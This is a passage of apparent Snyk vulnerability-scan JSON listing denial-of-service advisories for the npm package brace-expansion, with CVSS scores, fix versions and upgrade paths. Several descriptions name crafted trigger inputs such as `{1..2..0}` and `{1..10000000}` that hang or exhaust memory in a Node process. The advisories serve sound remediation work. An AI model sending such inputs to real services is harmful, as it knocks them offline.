"@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n", "epssDetails": { "percentile": "0.38245", "probability": "0.00466", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-14257" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-mh99-v99m-4gvg" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-07-26T09:53:40.727617Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-07-23T15:49:26Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-07-26T09:53:40.907374Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:14.560643Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18512280", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "Alessio Della Libera" ], "semver": { "vulnerable": [ "<1.1.18", ">=2.0.0 <2.1.4", ">=3.0.0 <3.0.6", ">=4.0.0 <5.0.9" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.18", "2.1.4", "3.0.6", "5.0.9" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:06:37.934109Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-04T05:26:55.391275Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()`, `expand_()`, `combine()`, and `expandSequence()` functions, which bound the accumulator where results are combined but not the intermediate arrays that feed it. An attacker can crash the process with an uncatchable out-of-memory error, or stall the event loop for minutes, by supplying a pattern with many comma-separated alternatives that each receive an independent `maxLength` allowance and accumulate without a cumulative limit, or a padded sequence whose generation ignores `maxLength` and does work proportional to `max * width`. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through a glob or pattern-matching library.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing an explicitly small `max` together with a small `maxLength` to `expand()`, bounding both the result count and length, since a small `maxLength` alone is insufficient on affected versions where it is applied per alternative rather than cumulatively.\r\n\r\n**Note:** This is a bypass of the fix for the vulnerability described in [CVE-2026-14257](https://security.snyk.io/vuln/SNYK-JS-BRACEEXPANSION-18313044).\n## Remediation\nUpgrade `brace-expansion` to version 1.1.18, 2.1.4, 3.0.6, 5.0.9 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031)\n", "epssDetails": { "percentile": "0.47168", "probability": "0.00623", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-69152" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-rgw5-rvv9-x895" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-08-03T18:50:29.684875Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-08-03T16:35:32Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-08-03T18:50:29.862827Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:06:37.934109Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.13", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-15789759", "title": "Infinite loop", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ "<1.1.13", ">=2.0.0 <2.0.3", ">=3.0.0 <3.0.2", ">=4.0.0 <5.0.5" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.13", "2.0.3", "3.0.2", "5.0.5" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113", "title": "Vulnerable Code" }, { "url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184", "title": "Vulnerable Code" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-16T02:01:19.320993Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-04-03T12:57:19.951777Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-04-22T17:49:48.167901Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n", "epssDetails": { "percentile": "0.34118", "probability": "0.00430", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-33750" ], "CWE": [ "CWE-835" ], "GHSA": [ "GHSA-f886-m6hf-6m8v" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-03-27T07:45:56.244707Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-03-26T18:29:42Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-03-27T07:45:56.429154Z", "severityBasedOn": "CVSS", "modificationTime": "2026-07-16T02:01:19.320993Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-16755174", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Subhash Dasyam" ], "semver": { "vulnerable": [ ">=5.0.2 <5.0.6" ] }, "exploit": "Not Defined", "fixedIn": [ "5.0.6" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2", "title": "GitHub Advisory" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "assigner": "NVD", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-18T02:01:26.570047Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-06-17T06:25:12.562488Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "NVD", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-06-04T01:21:30.391276Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the `max` option being applied after generating all elements in a large numeric range. An attacker can exhaust system memory and processing resources by submitting input such as `{1..10000000}` that causes excessive allocation and computation before the output is limited.\r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by ensuring the string to be expanded does not contain more values than the desired `max` item count.\n## Remediation\nUpgrade `brace-expansion` to version 5.0.6 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-jxxr-4gwj-5jf2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c0b095bdc52bc4c36dc88deddbadabc49f8371e5)\n", "epssDetails": { "percentile": "0.22128", "probability": "0.00300", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-45149" ], "CWE": [ "CWE-770" ], "GHSA": [ "GHSA-jxxr-4gwj-5jf2" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-05-19T09:10:10.822382Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-05-18T16:22:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-05-19T09:10:11.009629Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-18T02:01:26.570047Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-17706650", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "credit": [ "Unknown" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.7" ] }, "exploit": "Not Defined", "fixedIn": [ "1.1.16", "2.1.2", "5.0.7" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754", "title": "GitHub Commit" }, { "url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-08-24T14:04:38.442182Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-01T06:56:21.683579Z" } ], "description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n", "epssDetails": { "percentile": "0.29069", "probability": "0.00364", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-13149" ], "CWE": [ "CWE-407" ] }, "packageName": "brace-expansion", "proprietary": false, "creationTime": "2026-06-30T11:38:19.757696Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-06-30T11:25:01Z", "exploitDetails": { "sources": [], "maturityLevels": [ { "type": "secondary", "level": "Not Defined", "format": "CVSSv3" }, { "type": "primary", "level": "Not Defined", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-06-30T11:38:19.961909Z", "severityBasedOn": "CVSS", "modificationTime": "2026-08-24T14:04:38.442182Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2", "brace-expansion@5.0.3" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.12", "@npmcli/arborist@9.9.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "brace-expansion", "version": "5.0.3" }, { "id": "SNYK-JS-BRACEEXPANSION-18313044", "title": "Allocation of Resources Without Limits or Throttling", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "bnbdr" ], "semver": { "vulnerable": [ "<1.1.16", ">=2.0.0 <2.1.2", ">=3.0.0 <5.0.8" ] }, "exploit": "Proof of Concept", "fixedIn": [ "1.1.16", "2.1.2", "5.0.8" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "brace-expansion", "references": [ { "url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-08-05T05:35:10.598547Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-08-24T14:06:14.560643Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", 